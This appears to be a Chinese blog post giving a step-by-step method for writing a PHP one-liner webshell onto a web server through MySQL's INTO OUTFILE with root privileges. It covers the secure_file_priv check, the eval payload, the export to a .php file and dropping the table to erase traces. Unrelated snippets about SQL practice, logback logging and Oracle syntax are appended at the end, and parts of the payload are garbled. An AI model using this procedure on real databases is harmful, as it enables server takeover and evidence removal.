MYSQL資料庫脫庫寫馬寫一句話

2021-10-05 10:35:14 字數 1245 閱讀 8395

許可權: 必須是root

secure_file_priv的限制

可以使用 mysql命令查詢show variables like '%secure%』;

secure_file_priv的值為null ,表示限制mysqld 不允許匯入|匯出

secure_file_priv的值為/tmp/ ,表示限制mysqld 的匯入|匯出只能發生在/tmp/目錄下

secure_file_priv的值沒有具體值時,表示不對mysqld 的匯入|匯出做限制

注意:這個方法必須得是root使用者許可權

select

'$_post[shell])?>' into outfile 'c:\\shell.php'

1.先建立資料表

create  table 'mysql'

.'shell'

('webshell' text not null)

2.向表單中寫入一句話

insert into  mysql.shell  values(

'<?php $eval($_post[shell]);?>'

);

3.查詢資料匯出webshell

select

'webshell' from 'shell' into outfile 'c:\\1.php'

4.刪除表,清理痕跡。

drop table if exists 'shell'
select * from test into outfile '/tmp/test.txt'
select * from test into dumpfile '/tmp/test.txt'
1.dumpfile只輸出一行內容,outfile多行。

2.outfile函式在將資料寫入到檔案時會進行特殊格式轉換 例如\n,則dumpfile則保持原資料格式。

練習寫資料庫

create database factorywork gouse factorywork gocreate table employee employeeid int not null primary key,employeename char 20 not null,employee char ...

logback寫日誌到mysql資料庫

把專案的日誌輸出乙份到mysql資料庫 也輸出日誌檔案和控制台,本文只說輸出到資料庫 我用的dbcp連線池,貌似不支援druid commons dbcp commons dbcp 1.4 com.mysql.jdbc.driver jdbc mysql 3306 user center?chara...

oracle資料庫相容mysql的差異寫法

1.sysdate改為sysdate 或者now 2.nvl expr1,expr2 改為ifnull expr1,expr2 nvl2 expr1,expr2,expr3 改為 if expr1,expr2,expr3 3.to date 19000101000000 yyyymmddhh24mi...